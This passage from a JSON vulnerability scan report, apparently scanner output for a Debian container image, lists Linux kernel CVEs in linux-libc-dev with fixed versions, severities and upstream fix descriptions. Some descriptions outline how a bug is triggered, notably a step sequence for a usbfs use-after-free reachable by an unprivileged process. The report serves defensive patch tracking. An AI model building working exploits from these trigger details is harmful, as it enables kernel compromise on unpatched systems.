"https://linux.oracle.com/cve/CVE-2026-80590.html", "https://linux.oracle.com/errata/ELSA-2026-88477.html", "https://lore.kernel.org/linux-cve-announce/2026082816-CVE-2026-80590-241e@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80590", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80590" ], "PublishedDate": "2026-08-28T08:16:42.517Z", "LastModifiedDate": "2026-10-19T09:17:09.163Z" }, { "VulnerabilityID": "CVE-2026-80714", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.105-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80714", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e755b9dffe9dfa33ddc7c9654fabb0b86edcbdfa652c1ec8214e12eea6b261e5", "Title": "kernel: ipvs: do not propagate one-packet flag to synced conns", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipvs: do not propagate one-packet flag to synced conns\n\nSynced connections can be created before their destination exists. When\nthe destination is later added, ip_vs_bind_dest() copies connection flags\nfrom the destination into cp-\u003eflags.\n\nIP_VS_CONN_F_ONE_PACKET connections are not synced. If a synced\nconnection inherits IP_VS_CONN_F_ONE_PACKET while it is already hashed,\nexpiry can treat it as a one-packet connection and skip unlinking the\nexisting conn_tab node, leaving stale hash nodes pointing at a freed\nstruct ip_vs_conn.\n\nDrop IP_VS_CONN_F_ONE_PACKET from destination flags when binding synced\nconnections.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-80714", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b%20%287.2-rc6%29", "https://git.kernel.org/stable/c/06d1d9b56ef8132fbf85006885eb43d9510b8b02", "https://git.kernel.org/stable/c/300348e3ba1521b003d59825f97e24f9a6859688", "https://git.kernel.org/stable/c/44af98cc7d5ef8e730488d5df1eecd5deeaa5947", "https://git.kernel.org/stable/c/4649e6faeecdc2d44bfa6ccbe405eef27e55d816", "https://git.kernel.org/stable/c/a63d2dbaeb50a85d4c976b15a36e6b0c7113db5b", "https://git.kernel.org/stable/c/acbdc276091b308ca7794acb86e761f8203e2f59", "https://git.kernel.org/stable/c/b5ee5b266f833601ac4817f6df0bc496fc376a28", "https://git.kernel.org/stable/c/e7acfc990c29890c883d0d0ce3f737d003a43b44", "https://linux.oracle.com/cve/CVE-2026-80714.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026082809-CVE-2026-80714-799a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80714", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80714" ], "PublishedDate": "2026-08-28T08:16:57.053Z", "LastModifiedDate": "2026-10-16T20:18:08.073Z" }, { "VulnerabilityID": "CVE-2026-80725", "VendorIDs": [ "DSA-6477-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ee0696da24e4bd95f6e8d36dbc228a940ed4bfc6b1285735717a27e5272c08a9", "Title": "kernel: net: gro: properly validate BIG TCP aggregation criteria", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gro: properly validate BIG TCP aggregation criteria\n\nWhen GRO attempts to aggregate packets beyond GRO_LEGACY_MAX_SIZE (64KB),\nBIG TCP should only be permitted for plain IPv4 TCP and plain IPv6 TCP\n(with sufficient MAC header room to insert the temporary HBH jumbo header).\n\nHowever, commit b1a78b9b9886 (\"net: add support for ipv4 big tcp\")\nloosened the check in skb_gro_receive(), leading to several issues:\n\n1. skb_gro_receive() checked skb_headroom(p) instead of the actual space\n before the MAC header (p-\u003emac_header). Because skb_headroom(p) includes\n mac_len, crafted frames (e.g. injected via AF_PACKET) can pass the check\n with p-\u003emac_header \u003c 8 bytes. When ipv6_gro_complete() inserts the\n temporary HBH jumbo header, the memmove() starts before skb-\u003ehead,\n causing an out-of-bounds write and wrapping skb-\u003emac_header.\n2. It allowed non-IP protocols such as software VLAN (ETH_P_8021Q /\n ETH_P_8021AD) to aggregate beyond 64KB because\n p-\u003eprotocol != ETH_P_IPV6 was true.\n3. It checked p-\u003eencapsulation instead of NAPI_GRO_CB(skb)-\u003eencap_mark,\n allowing encapsulated flows (e.g. SIT / IPv6-in-IPv4) to aggregate\n beyond 64KB.\n\nFix skb_gro_receive() to strictly enforce:\n- NAPI_GRO_CB(skb)-\u003eproto == IPPROTO_TCP\n- Not encapsulated (!NAPI_GRO_CB(skb)-\u003eencap_mark \u0026\u0026 !p-\u003eencapsulation)\n- Protocol must be either ETH_P_IP or ETH_P_IPV6\n- If ETH_P_IPV6, p-\u003emac_header must be at least\n sizeof(struct hop_jumbo_hdr)\n\nReturning -E2BIG from skb_gro_receive() ensures that packets which cannot\nbecome BIG TCP are cleanly flushed at \u003c= 64KB and delivered intact without\ndropping.\n\nThis issue does not exist in mainline (7.0+) because the subsystem was\nrewritten in commit 81be30c1f5f2 (\"net/ipv6: Drop HBH for BIG TCP on RX\nside\"), making this fix relevant only for older stable branches like\n6.18.y.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H", "V3Score": 8.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80725", "https://git.kernel.org/linus/81be30c1f5f2bffda1f04c0efd0746af10b9643a%20%287.0-rc1%29", "https://git.kernel.org/stable/c/03cb8cc2961f5f781d12e903782cb3815ed84b1c", "https://git.kernel.org/stable/c/37a5dcd6837fc2afc44a7bc3ed8af4e983783d46", "https://git.kernel.org/stable/c/3ce832e2bd431d0c12ba525ed73ad8fbc4191da5", "https://git.kernel.org/stable/c/81be30c1f5f2bffda1f04c0efd0746af10b9643a", "https://git.kernel.org/stable/c/e907bf694ed55bdfe421be99dba35751a655df25", "https://linux.oracle.com/cve/CVE-2026-80725.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://lore.kernel.org/linux-cve-announce/2026082953-CVE-2026-80725-93af@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-80725", "https://ubuntu.com/security/notices/USN-9002-1", "https://www.cve.org/CVERecord?id=CVE-2026-80725" ], "PublishedDate": "2026-08-29T07:16:54.573Z", "LastModifiedDate": "2026-10-16T20:18:09.06Z" }, { "VulnerabilityID": "CVE-2026-80780", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80780", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf90b9fac4e544ba25322869911ff34220b61f4df0186445229d660ea0c43338", "Title": "kernel: HID: pidff: fix OOB write when hid-\u003einputs is empty", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: pidff: fix OOB write when hid-\u003einputs is empty\n\nhid_pidff_init_with_quirks() derives its input_dev from\n\n\tlist_entry(hid-\u003einputs.next, struct hid_input, list)\n\nwithout first checking that hid-\u003einputs is non-empty. The list member\nof struct hid_input is at offset 0, so on an empty list list_entry()\nyields \u0026hid-\u003einputs itself and the following hidinput-\u003einput load reads\nan unrelated member of struct hid_device. dev is then a type-confused\npointer, and force-feedback init writes through it: each\nset_bit(FF_*, dev-\u003effbit) stores 8 bytes at dev + 192, past the end of\nthe object dev actually aliases, and input_ff_create() adds further\nwrites of a heap pointer and two function pointers.\n\nUntil hid-universal-pidff the only caller was hid_pidff_init() from\nusbhid, which runs under HID_CLAIMED_INPUT and therefore always has at\nleast one hid_input. universal_pidff_probe() starts the device with\nHID_CONNECT_DEFAULT \u0026 ~HID_CONNECT_FF and then calls\nhid_pidff_init_with_quirks() directly whenever the descriptor carries a\nPID usage page, bypassing that gate. A report descriptor whose only\napplication collection is on HID_UP_PID leaves hid-\u003einputs empty while\nhid_connect() still succeeds through the hidraw claim, so probe reaches\nthe unguarded list_entry().\n\nThe write happens in the USB probe path, on the hotplug workqueue, so\nplugging in a malicious device is enough to trigger it; no attacker\nsoftware and no logged-in user are required. KASAN reports an 8-byte\nout-of-bounds write in hid_pidff_init_with_quirks() reached from\nuniversal_pidff_probe().\n\nCheck for an empty list before deriving dev and return -ENODEV, as the\nother HID force-feedback drivers already do. universal_pidff_probe()\npropagates the error and unwinds.\n\nDiscovered by XBOW, triaged by Baul Lee \u003cbaul.lee@xbow.com\u003e", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-80780", "https://git.kernel.org/linus/67bb1074e3d2d12fa059a9cc707e89398a4e4704%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80780.mbox", "https://git.kernel.org/stable/c/2e0471bf3ab2a6b7eedcc3b8a2a17286b6a9ae1a", "https://git.kernel.org/stable/c/4529c03c3da8f91392cd630453452f569973f4cd", "https://git.kernel.org/stable/c/67bb1074e3d2d12fa059a9cc707e89398a4e4704", "https://git.kernel.org/stable/c/86b63adfa5e132beac4be72668fdf9128fe51d2e", "https://git.kernel.org/stable/c/ad9330f7e74a97842815a291a0d7389ed2f34504", "https://git.kernel.org/stable/c/d416eeb7d016d82af67c149d884bc6a9323c4ac7", "https://linux.oracle.com/cve/CVE-2026-80780.html", "https://linux.oracle.com/errata/ELSA-2026-500374.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80780", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-80780" ], "PublishedDate": "2026-09-04T16:18:03.723Z", "LastModifiedDate": "2026-10-19T09:17:12.11Z" }, { "VulnerabilityID": "CVE-2026-80792", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.107-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80792", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a42d72a5bb53bc4af184738b772e2740e2b99bc327d2a9cef60e28aa3c86ad5a", "Title": "kernel: ipv6: fix use-after-free in ip6_finish_output2()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: fix use-after-free in ip6_finish_output2()\n\nip6_finish_output2() caches a pointer to the IPv6 destination\naddress (daddr) before invoking lwtunnel_xmit(). The LWT-BPF\ntransmit path or other encapsulation operations within\nlwtunnel_xmit() can reallocate the skb head, freeing the memory\nthat daddr points to. When lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, the function continues to use the stale\ndaddr pointer to compute the nexthop and to look up or create the\nneighbour entry. This results in a use-after-free read, which can\nleak sensitive kernel data, pollute the neighbour table with\narbitrary values, misdirect traffic, or crash the system.\n\nFix this by re-fetching the IPv6 header and the destination\naddress pointer after lwtunnel_xmit() returns\nLWTUNNEL_XMIT_CONTINUE, ensuring that the subsequent nexthop\ncomputation and neighbour lookup operate on valid memory.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76738", "https://access.redhat.com/security/cve/CVE-2026-80792", "https://bugzilla.redhat.com/2482115", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2486398", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2496574", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502330", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502384", "https://bugzilla.redhat.com/2502395", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2502554", "https://bugzilla.redhat.com/2502619", "https://bugzilla.redhat.com/2508320", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2528542", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/2540500", "https://errata.almalinux.org/10/ALSA-2026-76738.html", "https://git.kernel.org/linus/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80792.mbox", "https://git.kernel.org/stable/c/087ee0d914aaae929f1660c9ca878e367655ba1a", "https://git.kernel.org/stable/c/3c770ac4e6f07af7c7b40c474a3efc61ffed7862", "https://git.kernel.org/stable/c/3dc98e5fe82d069dd29b124ffbdb679331dfea43", "https://git.kernel.org/stable/c/73a187384a8c8b983c7fea046d716b6752a1e7a3", "https://git.kernel.org/stable/c/75e0a544ebe9af663ef53ca21e9e9185c51fb54a", "https://git.kernel.org/stable/c/99219c82804f266189388e8bf1cf5135d10d5515", "https://git.kernel.org/stable/c/c95f01b78266828a57060d754fcbfc92123a98ed", "https://git.kernel.org/stable/c/d0d48d999b0eee6bb176ef4e39d9be868fa80f7e", "https://git.kernel.org/stable/c/d960881b9312e781a3429aabceb223ce6b7c882f", "https://linux.oracle.com/cve/CVE-2026-80792.html", "https://linux.oracle.com/errata/ELSA-2026-76739.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80792", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80792" ], "PublishedDate": "2026-09-04T16:18:05.46Z", "LastModifiedDate": "2026-11-06T17:19:58.553Z" }, { "VulnerabilityID": "CVE-2026-80824", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80824", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd46ef18d38bae47ed22639ee8fc556c4cb0676bb05e34a783873faaacaea446", "Title": "kernel: usb: usbfs: fix use-after-free of usb_device in usbdev_release()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: usbfs: fix use-after-free of usb_device in usbdev_release()\n\nusbdev_release() drops its reference to the struct usb_device before\ndraining the list of completed async URBs, but that drain path reads back\nthrough the same object: free_async() calls dec_usb_memory_use_count()\nfor any URB whose buffer came from the usbfs mmap() region, and its first\nstatement is bus_to_hcd(ps-\u003edev-\u003ebus).\n\nAfter a disconnect the usbfs reference can be the last one, in which case\nusb_put_dev() frees the device and the subsequent loop reads offset 80 of\nfreed memory and uses the result as a struct usb_hcd *, which\nhcd_buffer_free_pages() then dereferences.\n\nThis is reachable by an unprivileged process that has read/write access to\na /dev/bus/usb node: mmap() the fd, submit one URB with a buffer inside the\nmapping, wait for the device to be unplugged, then munmap() and close().\nIt reproduces on every attempt rather than being a race, because a live\nMAP_SHARED vma holds a reference on the struct file, so usbdev_release()\ncannot run until the last vma is gone and the freeing branch of\ndec_usb_memory_use_count() is always taken.\n\n BUG: KASAN: slab-use-after-free in dec_usb_memory_use_count+0x3ae/0x410\n Read of size 8 at addr ffff8880122ee050 by task poc/769\n CPU: 1 UID: 1000 PID: 769 Comm: poc Tainted: G B 6.12.94 #3\n\n Call Trace:\n dec_usb_memory_use_count+0x3ae/0x410\n free_async+0x2aa/0x4f0\n usbdev_release+0x375/0x460\n __fput+0x3ea/0xb50\n __x64_sys_close+0x86/0x100\n\n Allocated by task 11:\n usb_alloc_dev+0x55/0xd90\n hub_event+0x2524/0x43d0\n\n Freed by task 769:\n kfree+0x121/0x360\n device_release+0xd2/0x280\n usb_put_dev+0x23/0x30\n usbdev_release+0x2d8/0x460\n\nRelease the device reference after the drain loop instead. Nothing between\nthe two points requires it to have been dropped.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-80824", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671%20%287.3-rc1%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-80824.mbox", "https://git.kernel.org/stable/c/0a960b88c5979f853019d4dc4957dfbeeb193440", "https://git.kernel.org/stable/c/0dd68b5d01d022fc9c5e71c82a82b0a94d3d0671", "https://git.kernel.org/stable/c/47a7f98fbb5006d46d15a3a210ffdc61448a4f19", "https://git.kernel.org/stable/c/5f08c45bdcfd28d1171de38c5ef29fc89a76eedc", "https://git.kernel.org/stable/c/65879e0a452ca2a234b9475e0c11aff7a4343738", "https://git.kernel.org/stable/c/7f0278e474c4d1c4457974ff1137cc385c944ab3", "https://git.kernel.org/stable/c/96f5520fc9a5e4bbf77ac93c9d5ce502f597e6cf", "https://git.kernel.org/stable/c/b3cde26a66b04f1d90ed0b675899c88b4e49d424", "https://git.kernel.org/stable/c/bd4bffc621a8cb2f4d9ed9b6447415de524a3bef", "https://linux.oracle.com/cve/CVE-2026-80824.html", "https://linux.oracle.com/errata/ELSA-2026-91565.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-80824", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8962-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-80824" ], "PublishedDate": "2026-09-04T16:18:10.233Z", "LastModifiedDate": "2026-10-19T09:17:17.293Z" }, { "VulnerabilityID": "CVE-2026-80837", "VendorIDs": [ "DSA-6528-1" ], "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.111-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-80837", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7c58cfc9bb342aa32cba1c01003bde4e6105d19b03ec808f2b21ec9c0ce6a175", "Title": "kernel: netfilter: nf_tables: don't queue packet path object notifications", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: don't queue packet path object notifications\n\nAll file:line references below are against v7.2-rc4 (ac5b0e5651b1). The\ntrace was captured on 7.2.0-rc6-kasan72rc6 (075b74841bd0), where the same\nlines apply.\n\nnft_obj_notify() is exported and reached from the packet path. Its only\nin-tree caller is nft_quota_obj_eval() (net/netfilter/nft_quota.c:68),\nwhich notifies with GFP_ATOMIC while evaluating a rule for a transiting\npacket, holding no mutex.\n\nSince commit 67cc570edaa0 (\"netfilter: nf_tables: coalesce multiple\nnotifications into one skbuff\") that notification is no longer sent\nimmediately. __nft_obj_notify() queues it onto nft_net-\u003enotify_list via\nnft_notify_enqueue() (net/netfilter/nf_tables_api.c:1211), which is a bare\nlist_add_tail(). notify_list has no lock of its own\n(include/net/netfilter/nf_tables.h:1951), it is serialised by commit_mutex:\nthe six other enqueue sites all run inside 